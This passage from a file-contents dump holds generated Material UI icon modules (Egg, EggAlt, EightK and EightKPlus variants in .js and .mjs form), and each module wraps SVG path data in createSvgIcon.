    "path": "packages/mui-icons-material/lib/Egg.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m1 15c-3 0-5-1.99-5-5 0-.55.45-1 1-1s1 .45 1 1c0 2.92 2.42 3 3 3 .55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'Egg');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'EggAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'EggAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-3.01 11c-1.49 0-1.96-.5-2.68-1.26-.65-.69-1.65-1.74-3.34-1.74-1.64 0-5.92-.99-5.97-5.5-.03-2.51.68-4.62 1.99-5.95C7.01 4.52 8.35 4 9.97 4c3.34 0 4.51 1.86 5.86 4.02.55.88 1.07 1.71 1.76 2.39 1.9 1.89 2.41 2.4 2.41 4.61 0 2.85-2.12 4.98-4.01 4.98\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.5\"\n}, \"1\")], 'EggAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-3.01 11c-1.49 0-1.96-.5-2.68-1.26-.65-.69-1.65-1.74-3.34-1.74-1.64 0-5.92-.99-5.97-5.5-.03-2.51.68-4.62 1.99-5.95C7.01 4.52 8.35 4 9.97 4c3.34 0 4.51 1.86 5.86 4.02.55.88 1.07 1.71 1.76 2.39 1.9 1.89 2.41 2.4 2.41 4.61 0 2.85-2.12 4.98-4.01 4.98\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.5\"\n}, \"1\")], 'EggAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'EggAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'EggAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'EggAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'EggAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 10.42c-.69-.68-1.21-1.51-1.76-2.39C14.48 5.86 13.31 4 9.97 4c-1.62 0-2.96.52-3.98 1.55C4.68 6.88 3.97 8.99 4 11.5c.05 4.51 4.33 5.5 5.97 5.5 1.69 0 2.68 1.05 3.34 1.74.72.76 1.19 1.26 2.68 1.26 1.89 0 4.01-2.13 4.01-4.98 0-2.2-.51-2.71-2.41-4.6M12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-3.01 11c-1.49 0-1.96-.5-2.68-1.26-.65-.69-1.65-1.74-3.34-1.74-1.64 0-5.92-.99-5.97-5.5-.03-2.51.68-4.62 1.99-5.95C7.01 4.52 8.35 4 9.97 4c3.34 0 4.51 1.86 5.86 4.02.55.88 1.07 1.71 1.76 2.39 1.9 1.89 2.41 2.4 2.41 4.61 0 2.85-2.12 4.98-4.01 4.98\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.5\"\n}, \"2\")], 'EggAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 10.42c-.69-.68-1.21-1.51-1.76-2.39C14.48 5.86 13.31 4 9.97 4c-1.62 0-2.96.52-3.98 1.55C4.68 6.88 3.97 8.99 4 11.5c.05 4.51 4.33 5.5 5.97 5.5 1.69 0 2.68 1.05 3.34 1.74.72.76 1.19 1.26 2.68 1.26 1.89 0 4.01-2.13 4.01-4.98 0-2.2-.51-2.71-2.41-4.6M12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9c-2-2-3.01-7-9.03-7C4.95 2 1.94 6 2 11.52S6.96 19 9.97 19c2.01 0 2.01 3 6.02 3C19 22 22 19 22 15.02 22 12 21.01 11 19 9m-3.01 11c-1.49 0-1.96-.5-2.68-1.26-.65-.69-1.65-1.74-3.34-1.74-1.64 0-5.92-.99-5.97-5.5-.03-2.51.68-4.62 1.99-5.95C7.01 4.52 8.35 4 9.97 4c3.34 0 4.51 1.86 5.86 4.02.55.88 1.07 1.71 1.76 2.39 1.9 1.89 2.41 2.4 2.41 4.61 0 2.85-2.12 4.98-4.01 4.98\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.5\"\n}, \"2\")], 'EggAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m0 16c-2.76 0-5-2.24-5-5 0-4.09 3.07-9 5-9s5 4.91 5 9c0 2.76-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16c-.58 0-3-.08-3-3 0-.55-.45-1-1-1s-1 .45-1 1c0 3 1.99 5 5 5 .55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'EggOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m0 16c-2.76 0-5-2.24-5-5 0-4.09 3.07-9 5-9s5 4.91 5 9c0 2.76-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16c-.58 0-3-.08-3-3 0-.55-.45-1-1-1s-1 .45-1 1c0 3 1.99 5 5 5 .55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'EggOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m1 15c-3 0-5-1.99-5-5 0-.55.45-1 1-1s1 .45 1 1c0 2.92 2.42 3 3 3 .55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'EggRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m1 15c-3 0-5-1.99-5-5 0-.55.45-1 1-1s1 .45 1 1c0 2.92 2.42 3 3 3 .55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'EggRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m1 15c-3 0-5-1.99-5-5v-1h2v1c0 2.92 2.42 3 3 3h1v2z\"\n}), 'EggSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m1 15c-3 0-5-1.99-5-5v-1h2v1c0 2.92 2.42 3 3 3h1v2z\"\n}), 'EggSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-1.93 0-5 4.91-5 9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-4.09-3.07-9-5-9m1 13c-3.01 0-5-2-5-5 0-.55.45-1 1-1s1 .45 1 1c0 2.92 2.42 3 3 3 .55 0 1 .45 1 1s-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m0 16c-2.76 0-5-2.24-5-5 0-4.09 3.07-9 5-9s5 4.91 5 9c0 2.76-2.24 5-5 5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16c-.58 0-3-.08-3-3 0-.55-.45-1-1-1s-1 .45-1 1c0 3 1.99 5 5 5 .55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"2\")], 'EggTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EggTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-1.93 0-5 4.91-5 9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-4.09-3.07-9-5-9m1 13c-3.01 0-5-2-5-5 0-.55.45-1 1-1s1 .45 1 1c0 2.92 2.42 3 3 3 .55 0 1 .45 1 1s-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m0 16c-2.76 0-5-2.24-5-5 0-4.09 3.07-9 5-9s5 4.91 5 9c0 2.76-2.24 5-5 5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16c-.58 0-3-.08-3-3 0-.55-.45-1-1-1s-1 .45-1 1c0 3 1.99 5 5 5 .55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"2\")], 'EggTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm7 1h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'EightK');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm7 1h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'EightK');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 15H10c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H8zm0 2.5h1.5V14H8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'EightKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 15H10c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H8zm0 2.5h1.5V14H8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'EightKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 12.5H8V14H6.5zm0-2.5H8v1.5H6.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 14c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm6.5 1h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'EightKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 12.5H8V14H6.5zm0-2.5H8v1.5H6.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 14c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm6.5 1h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'EightKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h2c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1v1.5h-1zm0 2.5h1V14h-1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'EightKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h2c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1v1.5h-1zm0 2.5h1V14h-1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'EightKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 11c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2c.55 0 1 .45 1 1zm4.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12M19 12.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zm0-2.5h1v1.5h-1z\"\n}, \"1\")], 'EightKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusRounded.mjs",
